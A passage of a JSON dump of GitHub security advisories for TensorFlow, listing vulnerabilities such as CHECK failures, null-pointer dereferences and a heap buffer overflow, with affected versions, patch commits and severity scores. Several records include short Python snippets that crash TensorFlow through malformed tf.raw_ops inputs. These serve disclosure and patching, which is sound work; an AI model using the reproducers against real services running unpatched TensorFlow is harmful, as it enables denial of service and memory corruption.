2.7.2"}],"ecosystem":"pypi","package_name":"tensorflow-cpu"},{"versions":[{"first_patched_version":"2.9.1","vulnerable_version_range":"\u003e= 2.9.0, \u003c 2.9.1"},{"first_patched_version":"2.8.1","vulnerable_version_range":"\u003e= 2.8.0, \u003c 2.8.1"},{"first_patched_version":"2.7.2","vulnerable_version_range":"\u003c 2.7.2"}],"ecosystem":"pypi","package_name":"tensorflow"}],"created_at":"2022-12-21T16:11:58.143Z","updated_at":"2023-01-28T05:02:54.000Z","epss_percentage":0.00202,"epss_percentile":0.42687},{"uuid":"GSA_kwCzR0hTQS05ajR2LXBwMjgtbXh2N84AAu2F","url":"https://github.com/advisories/GHSA-9j4v-pp28-mxv7","title":"TensorFlow vulnerable to `CHECK` fail in `FakeQuantWithMinMaxVarsPerChannel`","description":"### Impact\nIf `FakeQuantWithMinMaxVarsPerChannel` is given `min` or `max` tensors of a rank other than one, it results in a `CHECK` fail that can be used to trigger a denial of service attack.\n```python\nimport tensorflow as tf\n\nnum_bits = 8\nnarrow_range = False\ninputs = tf.constant(0, shape=[4], dtype=tf.float32)\nmin = tf.constant([], shape=[4,0,0], dtype=tf.float32)\nmax = tf.constant(0, shape=[4], dtype=tf.float32)\ntf.raw_ops.FakeQuantWithMinMaxVarsPerChannel(inputs=inputs, min=min, max=max, num_bits=num_bits, narrow_range=narrow_range)\n```\n\n### Patches\nWe have patched the issue in GitHub commit [785d67a78a1d533759fcd2f5e8d6ef778de849e0](https://github.com/tensorflow/tensorflow/commit/785d67a78a1d533759fcd2f5e8d6ef778de849e0).\n\nThe fix will be included in TensorFlow 2.10.0. We will also cherrypick this commit on TensorFlow 2.9.1, TensorFlow 2.8.1, and TensorFlow 2.7.2, as these are also affected and still in supported range.\n\n\n### For more information\nPlease consult [our security guide](https://github.com/tensorflow/tensorflow/blob/master/SECURITY.md) for more information regarding the security model and how to contact us with issues and questions.\n\n\n### Attribution\nThis vulnerability has been reported by Neophytos Christou, Secure Systems Labs, Brown University.\n","origin":"UNSPECIFIED","severity":"MODERATE","published_at":"2022-09-16T21:13:43.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":0.0,"cvss_vector":null,"references":["https://github.com/tensorflow/tensorflow/security/advisories/GHSA-9j4v-pp28-mxv7","https://github.com/tensorflow/tensorflow/commit/785d67a78a1d533759fcd2f5e8d6ef778de849e0","https://github.com/tensorflow/tensorflow/releases/tag/v2.10.0","https://nvd.nist.gov/vuln/detail/CVE-2022-36019","https://github.com/advisories/GHSA-9j4v-pp28-mxv7"],"source_kind":"github","identifiers":["GHSA-9j4v-pp28-mxv7","CVE-2022-36019"],"repository_url":"https://github.com/tensorflow/tensorflow","blast_radius":0.0,"packages":[{"versions":[{"first_patched_version":"2.9.1","vulnerable_version_range":"\u003e= 2.9.0, \u003c 2.9.1"},{"first_patched_version":"2.8.1","vulnerable_version_range":"\u003e= 2.8.0, \u003c 2.8.1"},{"first_patched_version":"2.7.2","vulnerable_version_range":"\u003c 2.7.2"}],"ecosystem":"pypi","package_name":"tensorflow-gpu"},{"versions":[{"first_patched_version":"2.9.1","vulnerable_version_range":"\u003e= 2.9.0, \u003c 2.9.1"},{"first_patched_version":"2.8.1","vulnerable_version_range":"\u003e= 2.8.0, \u003c 2.8.1"},{"first_patched_version":"2.7.2","vulnerable_version_range":"\u003c 2.7.2"}],"ecosystem":"pypi","package_name":"tensorflow-cpu"},{"versions":[{"first_patched_version":"2.9.1","vulnerable_version_range":"\u003e= 2.9.0, \u003c 2.9.1"},{"first_patched_version":"2.8.1","vulnerable_version_range":"\u003e= 2.8.0, \u003c 2.8.1"},{"first_patched_version":"2.7.2","vulnerable_version_range":"\u003c 2.7.2"}],"ecosystem":"pypi","package_name":"tensorflow"}],"created_at":"2022-12-21T16:11:58.422Z","updated_at":"2023-01-28T05:03:01.000Z","epss_percentage":0.00215,"epss_percentile":0.44148},{"uuid":"MDE2OlNlY3VyaXR5QWR2aXNvcnlHSFNBLTQ1MmctZjdmcC05amY3","url":"https://github.com/advisories/GHSA-452g-f7fp-9jf7","title":"Type confusion during tensor casts lead to dereferencing null pointers","description":"### Impact\nCalling TF operations with tensors of non-numeric types when the operations expect numeric tensors result in null pointer dereferences.\n\nThere are multiple ways to reproduce this, listing a few examples here:\n\n```python\nimport tensorflow as tf\nimport numpy as np\ndata = tf.random.truncated_normal(shape=1,mean=np.float32(20.8739),stddev=779.973,dtype=20,seed=64)\n```\n\n```python\nimport tensorflow as tf\nimport numpy as np\ndata =\ntf.random.stateless_truncated_normal(shape=1,seed=[63,70],mean=np.float32(20.8739),stddev=779.973,dtype=20)\n```\n\n```python\nimport tensorflow as tf\nimport numpy as np\ndata = tf.one_hot(indices=[62,50],depth=136,on_value=np.int32(237),off_value=158,axis=856,dtype=20)\n```\n\n```python\nimport tensorflow as tf\nimport numpy as np\ndata = tf.range(start=np.int32(214),limit=660,delta=129,dtype=20)\n```\n\n```python\nimport tensorflow as tf\nimport numpy as np\ndata = tf.raw_ops.ResourceCountUpTo(resource=np.int32(30), limit=872, T=3)\n```\n\n```python\nimport tensorflow as tf\nimport numpy as np\n\nwriter_array = np.array([1,2],dtype=np.int32)\nwriter_tensor = tf.convert_to_tensor(writer_array,dtype=tf.resource)\n```\n\nAll these examples and similar ones have the same behavior: the [conversion from Python array to C++ array](https://github.com/tensorflow/tensorflow/blob/ff70c47a396ef1e3cb73c90513da4f5cb71bebba/tensorflow/python/lib/core/ndarray_tensor.cc#L113-L169) is vulnerable to a type confusion:\n\n```cc\n  int pyarray_type = PyArray_TYPE(array);\n  PyArray_Descr* descr = PyArray_DESCR(array);\n  switch (pyarray_type) {\n    ...\n    case NPY_VOID:\n      // Quantized types are currently represented as custom struct types.\n      // PyArray_TYPE returns NPY_VOID for structs, and we should look into\n      // descr to derive the actual type.\n      // Direct feeds of certain types of ResourceHandles are represented as a\n      // custom struct type.\n      return PyArrayDescr_to_TF_DataType(descr, out_tf_datatype);\n    ...\n  }\n```\n\nFor the tensor types involved in the above example, the `pyarray_type` is `NPY_VOID` but the `descr` field is such that `descr-\u003efield = NULL`. Then [`PyArrayDescr_to_TF_DataType`](https://github.com/tensorflow/tensorflow/blob/ff70c47a396ef1e3cb73c90513da4f5cb71bebba/tensorflow/python/lib/core/ndarray_tensor.cc#L72-L77) will trigger a null dereference:\n\n```cc\nStatus PyArrayDescr_to_TF_DataType(PyArray_Descr* descr,\n                                   TF_DataType* out_tf_datatype) {\n  PyObject* key;\n  PyObject* value;\n  Py_ssize_t pos = 0;\n  if (PyDict_Next(descr-\u003efields, \u0026pos, \u0026key, \u0026value)) {\n    ...\n  }\n}\n```\n\nThis is because the Python's `PyDict_Next` implementation would dereference the first argument.\n\n### Patches\nWe have patched the issue in GitHub commit [030af767d357d1b4088c4a25c72cb3906abac489](https://github.com/tensorflow/tensorflow/commit/030af767d357d1b4088c4a25c72cb3906abac489).\n\nThe fix will be included in TensorFlow 2.5.0. We will also cherrypick this commit on TensorFlow 2.4.2, TensorFlow 2.3.3, TensorFlow 2.2.3 and TensorFlow 2.1.4, as these are also affected and still in supported range.\n\n### For more information\nPlease consult [our security guide](https://github.com/tensorflow/tensorflow/blob/master/SECURITY.md) for more information regarding the security model and how to contact us with issues and questions.\n\n### Attribution\nThis vulnerability has been reported by members of the Aivul Team from Qihoo 360 as well as Ye Zhang and Yakun Zhang of Baidu X-Team.","origin":"UNSPECIFIED","severity":"LOW","published_at":"2021-05-21T14:20:46.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":2.0,"cvss_vector":"CVSS:4.0/AV:L/AC:L/AT:P/PR:L/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N","references":["https://github.com/tensorflow/tensorflow/security/advisories/GHSA-452g-f7fp-9jf7","https://nvd.nist.gov/vuln/detail/CVE-2021-29513","https://github.com/tensorflow/tensorflow/commit/030af767d357d1b4088c4a25c72cb3906abac489","https://github.com/pypa/advisory-database/tree/main/vulns/tensorflow-cpu/PYSEC-2021-441.yaml","https://github.com/pypa/advisory-database/tree/main/vulns/tensorflow-gpu/PYSEC-2021-639.yaml","https://github.com/pypa/advisory-database/tree/main/vulns/tensorflow/PYSEC-2021-150.yaml","https://github.com/advisories/GHSA-452g-f7fp-9jf7"],"source_kind":"github","identifiers":["GHSA-452g-f7fp-9jf7","CVE-2021-29513"],"repository_url":"https://github.com/tensorflow/tensorflow","blast_radius":9.735582934691685,"packages":[{"versions":[{"first_patched_version":"2.4.2","vulnerable_version_range":"\u003e= 2.4.0, \u003c 2.4.2"},{"first_patched_version":"2.3.3","vulnerable_version_range":"\u003e= 2.3.0, \u003c 2.3.3"},{"first_patched_version":"2.2.3","vulnerable_version_range":"\u003e= 2.2.0, \u003c 2.2.3"},{"first_patched_version":"2.1.4","vulnerable_version_range":"\u003c 2.1.4"}],"ecosystem":"pypi","package_name":"tensorflow-gpu"},{"versions":[{"first_patched_version":"2.4.2","vulnerable_version_range":"\u003e= 2.4.0, \u003c 2.4.2"},{"first_patched_version":"2.3.3","vulnerable_version_range":"\u003e= 2.3.0, \u003c 2.3.3"},{"first_patched_version":"2.2.3","vulnerable_version_range":"\u003e= 2.2.0, \u003c 2.2.3"},{"first_patched_version":"2.1.4","vulnerable_version_range":"\u003c 2.1.4"}],"ecosystem":"pypi","package_name":"tensorflow-cpu"},{"versions":[{"first_patched_version":"2.4.2","vulnerable_version_range":"\u003e= 2.4.0, \u003c 2.4.2"},{"first_patched_version":"2.3.3","vulnerable_version_range":"\u003e= 2.3.0, \u003c 2.3.3"},{"first_patched_version":"2.2.3","vulnerable_version_range":"\u003e= 2.2.0, \u003c 2.2.3"},{"first_patched_version":"2.1.4","vulnerable_version_range":"\u003c 2.1.4"}],"ecosystem":"pypi","package_name":"tensorflow"}],"created_at":"2022-12-21T16:13:02.252Z","updated_at":"2024-10-30T23:13:44.000Z","epss_percentage":0.00017,"epss_percentile":0.0256},{"uuid":"MDE2OlNlY3VyaXR5QWR2aXNvcnlHSFNBLThjODktMnZ3ci1jaGNx","url":"https://github.com/advisories/GHSA-8c89-2vwr-chcq","title":"Heap buffer overflow in `QuantizedResizeBilinear`","description":"### Impact\nAn attacker can cause a heap buffer overflow in `QuantizedResizeBilinear` by passing in invalid thresholds for the quantization:\n\n```python\nimport tensorflow as tf\n\nimages = tf.constant([], shape=[0], dtype=tf.qint32)\nsize = tf.constant([], shape=[0], dtype=tf.int32) \nmin = tf.constant([], dtype=tf.float32)\nmax = tf.constant([], dtype=tf.float32)\n\ntf.raw_ops.QuantizedResizeBilinear(images=images, size=size, min=min, max=max, align_corners=False, half_pixel_centers=False)\n```\n\nThis is because the [implementation](https://github.com/tensorflow/tensorflow/blob/50711818d2e61ccce012591eeb4fdf93a8496726/tensorflow/core/kernels/quantized_resize_bilinear_op.cc#L705-L706) assumes that the 2 arguments are always valid scalars and tries to access the numeric value directly:\n\n```cc\nconst float in_min = context-\u003einput(2).flat\u003cfloat\u003e()(0);\nconst float in_max = context-\u003einput(3).flat\u003cfloat\u003e()(0);\n```\n\nHowever, if any of these tensors is empty, then `.flat\u003cT\u003e()` is an empty buffer and accessing the element at position 0 results in overflow.\n\n### Patches \nWe have patched the issue in GitHub commit [f6c40f0c6cbf00d46c7717a26419f2062f2f8694](https://github.com/tensorflow/tensorflow/commit/f6c40f0c6cbf00d46c7717a26419f2062f2f8694).\n\nThe fix will be included in TensorFlow 2.5.0. We will also cherrypick this commit on TensorFlow 2.4.2, TensorFlow 2.3.3, TensorFlow 2.2.3 and TensorFlow 2.1.4, as these are also affected and still in supported range.\n\n### For more information\nPlease consult [our security guide](https://github.com/tensorflow/tensorflow/blob/master/SECURITY.md) for more information regarding the security model and how to contact us with issues and questions.\n\n### Attribution\nThis vulnerability has been reported by Ying Wang and Yakun Zhang of Baidu X-Team.","origin":"UNSPECIFIED","severity":"LOW","published_at":"2021-05-21T14:22:35.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":2.0,"cvss_vector":"CVSS:4.0/AV:L/AC:L/AT:P/PR:L/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N","references":["https://github.com/tensorflow/tensorflow/security/advisories/GHSA-8c89-2vwr-chcq","https://nvd.nist.gov/vuln/detail/CVE-2021-29537","https://github.com/tensorflow/tensorflow/commit/f6c40f0c6cbf00d46c7717a26419f2062f2f8694","https://github.com/pypa/advisory-database/tree/main/vulns/tensorflow-cpu/PYSEC-2021-465.yaml","https://github.com/pypa/advisory-database/tree/main/vulns/tensorflow-gpu/PYSEC-2021-663.yaml","https://github.com/pypa/advisory-database/tree/main/vulns/tensorflow/PYSEC-2021-174.yaml","https://github.com/advisories/GHSA-8c89-2vwr-chcq"],"source_kind":"github","identifiers":["GHSA-8c89-2vwr-chcq","CVE-2021-29537"],"repository_url":"https://github.com/tensorflow/tensorflow","blast_radius":9.735582934691685,"packages":[{"versions":[{"first_patched_version":"2.4.2","vulnerable_version_range":"\u003e= 2.4.0, \u003c 2.4.2"},{"first_patched_version":"2.3.3","vulnerable_version_range":"\u003e= 2.3.0, \u003c 2.3.3"},{"first_patched_version":"2.2.3","vulnerable_version_range":"\u003e= 2.2.0, \u003c 2.2.3"},{"first_patched_version":"2.1.4","vulnerable_version_range":"\u003c 2.1.4"}],"ecosystem":"pypi","package_name":"tensorflow-gpu"},{"versions":[{"first_patched_version":"2.4.2","vulnerable_version_range":"\u003e= 2.4.0, \u003c 2.4.2"},{"first_patched_version":"2.3.3","vulnerable_version_range":"\u003e= 2.3.0, \u003c 2.3.3"},{"first_patched_version":"2.2.3","vulnerable_version_range":"\u003e= 2.2.0, \u003c 2.2.3"},{"first_patched_version":"2.1.4","vulnerable_version_range":"\u003c 2.1.4"}],"ecosystem":"pypi","package_name":"tensorflow-cpu"},{"versions":[{"first_patched_version":"2.4.2","vulnerable_version_range":"\u003e= 2.4.0, \u003c 2.4.2"},{"first_patched_version":"2.3.3","vulnerable_version_range":"\u003e= 2.3.0, \u003c 2.3.3"},{"first_patched_version":"2.2.3","vulnerable_version_range":"\u003e= 2.2.0, \u003c 2.2.3"},{"first_patched_version":"2.1.4","vulnerable_version_range":"\u003c 2.1.4"}],"ecosystem":"pypi","package_name":"tensorflow"}],"created_at":"2022-12-21T16:13:02.510Z","updated_at":"2024-10-30T23:25:21.000Z","epss_percentage":0.00018,"epss_percentile":0.02602},{"uuid":"GSA_kwCzR0hTQS13bTkzLWYyMzgtN3YzN80owQ","url":"https://github.com/advisories/GHSA-wm93-f238-7v37","title":"Integer overflow in Tensorflow","description":"### Impact\nThe [implementation of `OpLevelCostEstimator::CalculateOutputSize`](https://github.com/tensorflow/tensorflow/blob/a1320ec1eac186da1d03f033109191f715b2b130/tensorflow/core/grappler/costs/op_level_cost_estimator.cc#L1598-L1617) is vulnerable to an integer overflow if an attacker can create an operation which would involve tensors with large enough number of elements:\n```cc\nfor (const auto\u0026 dim : output_shape.dim()) {\n  output_size *= dim.size();\n} \n```\n  \nHere, we can have a large enough number of dimensions in `output_shape.dim()` or just a small number of dimensions being large enough to cause an overflow in the multiplication.\n\n### Patches\nWe have patched the issue in GitHub commit [b9bd6cfd1c50e6807846af9a86f9b83cafc9c8ae](https://github.com/tensorflow/tensorflow/commit/b9bd6cfd1c50e6807846af9a86f9b83cafc9c8ae).\n\nThe fix will be included in TensorFlow 2.8.0. We will also cherrypick this commit on TensorFlow 2.7.1, TensorFlow 2.6.3, and TensorFlow 2.5.3, as these are also affected and still in supported range.\n\n### For more information \nPlease consult [our security guide](https://github.com/tensorflow/tensorflow/blob/master/SECURITY.md) for more information regarding the security model and how to contact us with issues and questions.\n","origin":"UNSPECIFIED","severity":"HIGH","published_at":"2022-02-10T00:32:44.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":7.1,"cvss_vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N","references":["https://github.com/tensorflow/tensorflow/security/advisories/GHSA-wm93-f238-7v37","https://github.com/tensorflow/tensorflow/commit/b9bd6cfd1c50e6807846af9a86f9b83cafc9c8ae","https://github.com/tensorflow/tensorflow/blob/a1320ec1eac186da1d03f033109191f715b2b130/tensorflow/core/grappler/costs/op_level_cost_estimator.cc#L1598-L1617","https://nvd.nist.gov/vuln/detail/CVE-2022-23576","https://github.com/pypa/advisory-database/tree/main/vulns/tensorflow-cpu/PYSEC-2022-85.yaml","https://github.com/pypa/advisory-database/tree/main/vulns/tensorflow-gpu/PYSEC-2022-140.yaml","https://github.com/advisories/GHSA-wm93-f238-7v37"],"source_kind":"github","identifiers":["GHSA-wm93-f238-7v37","CVE-2022-23576"],"repository_url":"https://github.com/tensorflow/tensorflow","blast_radius":34.56131941815548,"packages":[{"versions":[{"first_patched_version":"2.7.1","vulnerable_version_range":"= 2.7.0"},{"first_patched_version":"2.6.3","vulnerable_version_range":"\u003e= 2.6.0, \u003c 2.6.3"},{"first_patched_version":"2.5.3","vulnerable_version_range":"\u003c 2.5.3"}],"ecosystem":"pypi","package_name":"tensorflow-gpu"},{"versions":[{"first_patched_version":"2.7.1","vulnerable_version_range":"= 2.7.0"},{"first_patched_version":"2.6.3","vulnerable_version_range":"\u003e= 2.6.0, \u003c 2.6.3"},{"first_patched_version":"2.5.3","vulnerable_version_range":"\u003c 2.5.3"}],"ecosystem":"pypi","package_name":"tensorflow-cpu"},{"versions":[{"first_patched_version":"2.7.1","vulnerable_version_range":"= 2.7.0"},{"first_patched_version":"2.6.3","vulnerable_version_range":"\u003e= 2.6.0, \u003c 2.6.3"},{"first_patched_version":"2.5.3","vulnerable_version_range":"\u003c 2.5.3"}],"ecosystem":"pypi","package_name":"tensorflow"}],"created_at":"2022-12-21T16:12:36.545Z","updated_at":"2024-11-13T22:48:38.000Z","epss_percentage":0.0022,"epss_percentile":0.44708},{"uuid":"GSA_kwCzR0hTQS04ZnZ2LTQ2aHctdnBnM84AAv-v","url":"https://github.com/advisories/GHSA-8fvv-46hw-vpg3","title":"Overflow in `tf.keras.losses.poisson`","description":"### Impact\n[`tf.keras.losses.poisson`](https://github.com/tensorflow/tensorflow/blob/master/tensorflow/python/keras/losses.py) receives a `y_pred` and `y_true` that are passed through `functor::mul` in [`BinaryOp`](https://github.com/tensorflow/tensorflow/blob/master/tensorflow/core/kernels/cwise_ops_common.h). If the resulting dimensions overflow an `int32`, TensorFlow will crash due to a size mismatch during broadcast assignment.\n```python\nimport numpy as np\nimport tensorflow as tf\n\ntrue_value = tf.reshape(shape=[1, 2500000000], tensor = tf.zeros(dtype=tf.bool, shape=[50000, 50000]))\npred_value = np.array([[[-2]], [[8]]], dtype = np.float64)\n\ntf.keras.losses.poisson(y_true=true_value,y_pred=pred_value)\n```\n\n### Patches\nWe have patched the issue in GitHub commit [c5b30379ba87cbe774b08ac50c1f6d36df4ebb7c](https://github.com/tensorflow/tensorflow/commit/c5b30379ba87cbe774b08ac50c1f6d36df4ebb7c).\n\nThe fix will be included in TensorFlow 2.11. We will also cherrypick this commit on TensorFlow 2.10.1 and 2.9.3, as these are also affected and still in supported range. However, we will not cherrypick this commit into TensorFlow 2.8.x, as it depends on Eigen behavior that changed between 2.8 and 2.9.\n\n\n### For more information\nPlease consult [our security guide](https://github.com/tensorflow/tensorflow/blob/master/SECURITY.md) for more information regarding the security model and how to contact us with issues and questions.\n\n\n### Attribution\nThis vulnerability has been reported by Pattarakrit Rattankul.\n","origin":"UNSPECIFIED","severity":"MODERATE","published_at":"2022-11-21T20:41:35.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":0.0,"cvss_vector":null,"references":["https://github.com/tensorflow/tensorflow/security/advisories/GHSA-8fvv-46hw-vpg3","https://nvd.nist.gov/vuln/detail/CVE-2022-41887","https://github.com/tensorflow/tensorflow/commit/c5b30379ba87cbe774b08ac50c1f6d36df4ebb7c","https://github.com/tensorflow/tensorflow/blob/master/tensorflow/core/kernels/cwise_ops_common.h","https://github.com/tensorflow/tensorflow/blob/master/tensorflow/python/keras/losses.py","https://github.com/advisories/GHSA-8fvv-46hw-vpg3"],"source_kind":"github","identifiers":["GHSA-8fvv-46hw-vpg3","CVE-2022-41887"],"repository_url":"https://github.com/tensorflow/tensorflow","blast_radius":0.0,"packages":[{"versions":[{"first_patched_version":"2.10.1","vulnerable_version_range":"\u003e= 2.10.0, \u003c 2.10.1"},{"first_patched_version":"2.9.3","vulnerable_version_range":"\u003c 2.9.3"}],"ecosystem":"pypi","package_name":"tensorflow-gpu"},{"versions":[{"first_patched_version":"2.10.1","vulnerable_version_range":"\u003e= 2.10.0, \u003c 2.10.1"},{"first_patched_version":"2.9.3","vulnerable_version_range":"\u003c 2.9.3"}],"ecosystem":"pypi","package_name":"tensorflow-cpu"},{"versions":[{"first_patched_version":"2.10.1","vulnerable_version_range":"\u003e= 2.10.0, \u003c 2.10.1"},{"first_patched_version":"2.9.3","vulnerable_version_range":"\u003c 2.9.3"}],"ecosystem":"pypi","package_name":"tensorflow"}],"created_at":"2022-12-21T16:11:50.072Z","updated_at":"2023-02-01T05:04:05.000Z","epss_percentage":0.00115,"epss_percentile":0.30832},{"uuid":"MDE2OlNlY3VyaXR5QWR2aXNvcnlHSFNBLXg1Y3AtOXBjZi1wcDNo","url":"https://github.com/advisories/GHSA-x5cp-9pcf-pp3h","title":"Denial of Service in Tensorflow","description":"### Impact\nThe `RaggedCountSparseOutput` does not validate that the input arguments form a valid ragged tensor. In particular, there is no validation that the `splits` tensor has the minimum required number of elements. Code uses this quantity to initialize a different data structure:\nhttps://github.com/tensorflow/tensorflow/blob/0e68f4d3295eb0281a517c3662f6698992b7b2cf/tensorflow/core/kernels/count_ops.cc#L241-L244\n\nSince `BatchedMap` is equivalent to a vector, it needs to have at least one element to not be `nullptr`. If user passes a `splits` tensor that is empty or has exactly one element, we get a `SIGABRT` signal raised by the operating system.\n\n### Patches\nWe have patched the issue in 3cbb917b4714766030b28eba9fb41bb97ce9ee02 and will release a patch release.\n\nWe recommend users to upgrade to TensorFlow 2.3.1.\n\n### For more information\nPlease consult [our security guide](https://github.com/tensorflow/tensorflow/blob/master/SECURITY.md) for more information regarding the security model and how to contact us with issues and questions.\n\n### Attribution\nThis vulnerability is a variant of [GHSA-p5f8-gfw5-33w4](https://github.com/tensorflow/tensorflow/security/advisories/GHSA-p5f8-gfw5-33w4)","origin":"UNSPECIFIED","severity":"HIGH","published_at":"2020-09-25T18:28:24.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":8.2,"cvss_vector":"CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N","references":["https://github.com/tensorflow/tensorflow/security/advisories/GHSA-x5cp-9pcf-pp3h","https://github.com/tensorflow/tensorflow/commit/3cbb917b4714766030b28eba9fb41bb97ce9ee02","https://github.com/tensorflow/tensorflow/releases/tag/v2.3.1","https://nvd.nist.gov/vuln/detail/CVE-2020-15199","https://github.com/pypa/advisory-database/tree/main/vulns/tensorflow-cpu/PYSEC-2020-279.yaml","https://github.com/pypa/advisory-database/tree/main/vulns/tensorflow-gpu/PYSEC-2020-314.yaml","https://github.com/pypa/advisory-database/tree/main/vulns/tensorflow/PYSEC-2020-122.yaml","https://github.com/advisories/GHSA-x5cp-9pcf-pp3h"],"source_kind":"github","identifiers":["GHSA-x5cp-9pcf-pp3h","CVE-2020-15199"],"repository_url":"https://github.com/tensorflow/tensorflow","blast_radius":39.91589003223591,"packages":[{"versions":[{"first_patched_version":"2.3.1","vulnerable_version_range":"= 2.3.0"}],"ecosystem":"pypi","package_name":"tensorflow-gpu"},{"versions":[{"first_patched_version":"2.3.1","vulnerable_version_range":"= 2.3.0"}],"ecosystem":"pypi","package_name":"tensorflow-cpu"},{"versions":[{"first_patched_version":"2.3.1","vulnerable_version_range":"= 2.3.0"}],"ecosystem":"pypi","package_name":"tensorflow"}],"created_at":"2022-12-21T16:13:13.826Z","updated_at":"2024-10-28T14:51:49.000Z","epss_percentage":0.00239,"epss_percentile":0.46963},{"uuid":"GSA_kwCzR0hTQS1tZ21oLWcydjYtbXF3Nc4AAu2J","url":"https://github.com/advisories/GHSA-mgmh-g2v6-mqw5","title":"TensorFlow vulnerable to `CHECK` failure in `AvgPoolOp`","description":"### Impact\nThe [`AvgPoolOp`](https://github.com/tensorflow/tensorflow/blob/8d72537c6abf5a44103b57b9c2e22c14f5f49698/tensorflow/core/kernels/avgpooling_op.cc#L56-L98) function takes an argument `ksize` that must be positive but is not checked. A negative `ksize` can trigger a `CHECK` failure and crash the program.\n```python\nimport tensorflow as tf\nimport numpy as np\n\nvalue = np.ones([1, 1, 1, 1])\nksize = [1, 1e20, 1, 1]\nstrides = [1, 1, 1, 1]\npadding = 'SAME'\ndata_format = 'NHWC'\n\ntf.raw_ops.AvgPool(value=value, ksize=ksize, strides=strides, padding=padding, data_format=data_format)\n```\n\n### Patches\nWe have patched the issue in GitHub commit [3a6ac52664c6c095aa2b114e742b0aa17fdce78f](https://github.com/tensorflow/tensorflow/commit/3a6ac52664c6c095aa2b114e742b0aa17fdce78f).\n\nThe fix will be included in TensorFlow 2.10.0. We will also cherrypick this commit on TensorFlow 2.9.1, TensorFlow 2.8.1, and TensorFlow 2.7.2, as these are also affected and still in supported range.\n\n\n### For more information\nPlease consult [our security guide](https://github.com/tensorflow/tensorflow/blob/master/SECURITY.md) for more information regarding the security model and how to contact us with issues and questions.\n\n\n### Attribution\nThis vulnerability has been reported by Jingyi Shi.\n","origin":"UNSPECIFIED","severity":"MODERATE","published_at":"2022-09-16T21:18:42.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":0.0,"cvss_vector":null,"references":["https://github.com/tensorflow/tensorflow/security/advisories/GHSA-mgmh-g2v6-mqw5","https://github.com/tensorflow/tensorflow/commit/3a6ac52664c6c095aa2b114e742b0aa17fdce78f","https://github.com/tensorflow/tensorflow/blob/8d72537c6abf5a44103b57b9c2e22c14f5f49698/tensorflow/core/kernels/avgpooling_op.cc#L56-L98","https://github.com/tensorflow/tensorflow/releases/tag/v2.10.0","https://nvd.nist.gov/vuln/detail/CVE-2022-35941","https://github.com/advisories/GHSA-mgmh-g2v6-mqw5"],"source_kind":"github","identifiers":["GHSA-mgmh-g2v6-mqw5","CVE-2022-35941"],"repository_url":"https://github.com/tensorflow/tensorflow","blast_radius":0.0,"packages":[{"versions":[{"first_patched_version":"2.9.2","vulnerable_version_range":"\u003e= 2.9.0, \u003c 2.9.1"},{"first_patched_version":"2.8.1","vulnerable_version_range":"\u003e= 2.8.0, \u003c 2.8.1"},{"first_patched_version":"2.7.2","vulnerable_version_range":"\u003c 2.7.2"}],"ecosystem":"pypi","package_name":"tensorflow-gpu"},{"versions":[{"first_patched_version":"2.9.2","vulnerable_version_range":"\u003e= 2.9.0, \u003c 2.9.1"},{"first_patched_version":"2.8.1","vulnerable_version_range":"\u003e= 2.8.0, \u003c 2.8.1"},{"first_patched_version":"2.7.2","vulnerable_version_range":"\u003c 2.7.2"}],"ecosystem":"pypi","package_name":"tensorflow-cpu"},{"versions":[{"first_patched_version":"2.9.2","vulnerable_version_range":"\u003e= 2.9.0, \u003c 2.9.1"},{"first_patched_version":"2.8.1","vulnerable_version_range":"\u003e= 2.8.0, \u003c 2.8.1"},{"first_patched_version":"2.7.2","vulnerable_version_range":"\u003c 2.7.2"}],"ecosystem":"pypi","package_name":"tensorflow"}],"created_at":"2022-12-21T16:11:58.369Z","updated_at":"2023-01-28T05:03:03.000Z","epss_percentage":0.00263,"epss_percentile":0.49527},{"uuid":"GSA_kwCzR0hTQS0yNDc1LTUzdnctdnAyNc4AAu2s","url":"https://github.com/advisories/GHSA-2475-53vw-vp25","title":"TensorFlow vulnerable to `CHECK` fail in `AvgPoolGrad`","description":"### Impact\nThe implementation of `AvgPoolGrad` does not fully validate the input `orig_input_shape`. This results in a `CHECK` failure which can be used to trigger a denial of service attack:\n```python\nimport tensorflow as tf\n\nksize = [1, 2, 2, 1]\nstrides = [1, 2, 2, 1]\npadding = \"VALID\"\ndata_format = \"NHWC\"\norig_input_shape = tf.constant(-536870912, shape=[4], dtype=tf.int32)\ngrad = tf.constant(.0890338004362538, shape=[1,5,7,1], dtype=tf.float64)\ntf.raw_ops.AvgPoolGrad(orig_input_shape=orig_input_shape, grad=grad, ksize=ksize, strides=strides, padding=padding, data_format=data_format)\n```\n\n### Patches\nWe have patched the issue in GitHub commit [3a6ac52664c6c095aa2b114e742b0aa17fdce78f](https://github.com/tensorflow/tensorflow/commit/3a6ac52664c6c095aa2b114e742b0aa17fdce78f).\n\nThe fix will be included in TensorFlow 2.10.0. We will also cherrypick this commit on TensorFlow 2.9.1, TensorFlow 2.8.1, and TensorFlow 2.7.2, as these are also affected and still in supported range.\n\n\n### For more information\nPlease consult [our security guide](https://github.com/tensorflow/tensorflow/blob/master/SECURITY.md) for more information regarding the security model and how to contact us with issues and questions.\n\n\n### Attribution\nThis vulnerability has been reported by Neophytos Christou, Secure Systems Labs, Brown 